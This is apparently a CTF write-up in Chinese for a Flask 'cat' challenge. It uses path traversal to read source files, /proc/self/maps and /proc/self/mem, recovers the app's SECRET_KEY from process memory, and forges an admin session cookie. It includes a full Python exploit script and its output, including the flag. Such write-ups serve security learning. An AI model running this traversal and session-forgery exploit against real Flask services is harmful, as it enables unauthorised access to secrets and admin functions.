点击猫猫信息看到文件读取功能

环境变量里没有

1
http://61.147.171.103:60316/info?file=../../../../proc/self/environ

/proc/self/cmdline,用于获取当前启动进程的完整命令

得到 b’python\x00app.py\x00’

再次读取上级目录的 ../app.py

app是个Flask对象,而secret key在app.config[‘SECRET_KEY’],读取/proc/self/mem得到进程的内存内容,进而获取到SECRET_KEY。不过读/proc/self/mem前要注意,/proc/self/mem内容较多而且存在不可读写部分,直接读取会导致程序崩溃,因此需要搭配/proc/self/maps获取堆栈分布,结合maps的映射信息来确定读的偏移值(参考此处)。这里直接放出大佬读取/proc/self/maps+/proc/self/mem+SECRET_KEY的脚本,可一键获取flag。

那么现在思路就是通过 maps 文件的可 rw 地址,在 mem 中读取,匹配关键词,找到 secret_key,最后通过相同的规则伪造 session 获取管理员,查看到 flag

注意到 app.py 里有 from cat import cat ,读取一下 cat.py 看看逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from cat import cat

if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")

def info():

filename = "./details/" + request.args.get('file', "")

start = request.args.get('start', "0")

end = request.args.get('end', "0")

name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

return render_template("detail.html", catname=name, info=cat(filename, start, end))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def cat(filename, start=0, end=0) -> bytes:
data = b''
try:
start = int(start)
end = int(end)
except:
start = 0
end = 0
if filename != "" and os.access(filename, os.R_OK):
f = open(filename, "rb")
if start >= 0:
f.seek(start)
if end >= start and end != 0:
data = f.read(end - start)
else:
data = f.read()

else:

data = f.read()

f.close()

else:

data = ("File `%s` not exist or can not be read" % filename).encode()
return data

根据这两个片段,逻辑就清楚了

在 /info 路由读取 /proc/self/mem,同时传入 start 起始地址和 end 结束地址即可。

maps 中每一行长这样

55d4940b1000-55d4940b2000 r--p 00000000 fd:00 53477819 /usr/local/bin/python3.7\n

匹配形如 55d495cfb000-55d495cff000 rw 的数据,去 mem 读取内容

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

这里 SECFET_KEY 末尾有 *abcdefgh,查找该值定位 key

key 格式,正则匹配一下即可

  • UUID部分:32个字符

  • 后缀部分:8个字符

拿到 key 后,用 key 和 {"admin":1} 来伪造 session

下面是我的 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import requests

import re

from flask import Flask, session

from itsdangerous import URLSafeTimedSerializer

import json



url = "http://61.147.171.103:60316/"

up = "../../"




def get_secret_key():

map_list = requests.get(url + f"info?file={up}/proc/self/maps")

map_lists = map_list.text.split("\\n")

# print(map_lists)

for i in map_lists:

map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i) #从头匹配

if map_addr:

start = int(map_addr.group(1), 16)

end = int(map_addr.group(2), 16)

print("Found rw addr:", start, "-", end)

#设置起始和结束位置并读取/proc/self/mem

res = requests.get(f"{url}/info?file={up}/proc/self/mem&start={start}&end={end}")

if "*abcdefgh" in res.text:

secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)

if secret_key:

print("Found secret key:", secret_key[0])

return secret_key[0]



def forge_session(secret_key,data):

serializer = URLSafeTimedSerializer(

secret_key,

salt='cookie-session', # Flask 默认的 salt

serializer=json, # 使用 JSON 序列化

signer_kwargs={'key_derivation': 'hmac', 'digest_method': 'sha1'} # Flask 默认的签名方式

)

# 生成 session 的加密字符串

return serializer.dumps(data)






if __name__ == "__main__":

secret_key = get_secret_key()

data = {'admin': 1}

session = forge_session(secret_key, data)

print("[+] Session:",session)

headers = {

"Cookie":"session="+session

}

flag = requests.get(url + f"admin",headers=headers)

print(flag.text)

# '7fcb64eb9000-7fcb64f18000 r--p 00000000 fd:00 53477940 /usr/local/lib/libpython3.7m.so.1.0'
Found rw addr: 140511519399936 - 140511520452608
Found rw addr: 140511520460800 - 140511521775616
Found rw addr: 140511521783808 - 140511522836480
Found rw addr: 140511522844672 - 140511523930112
Found rw addr: 140511523934208 - 140511524368384
Found rw addr: 140511524380672 - 140511524446208
Found rw addr: 140511524458496 - 140511525711872
Found secret key: 568a20d2eff24d32a7963d38af525cc9*abcdefgh
[+] Session: eyJhZG1pbiI6IDF9.aH4LmQ.IpcCjFOLCTP96LODrEY8vCoc7EA
catctf{Catch_the_c4t_HaHa}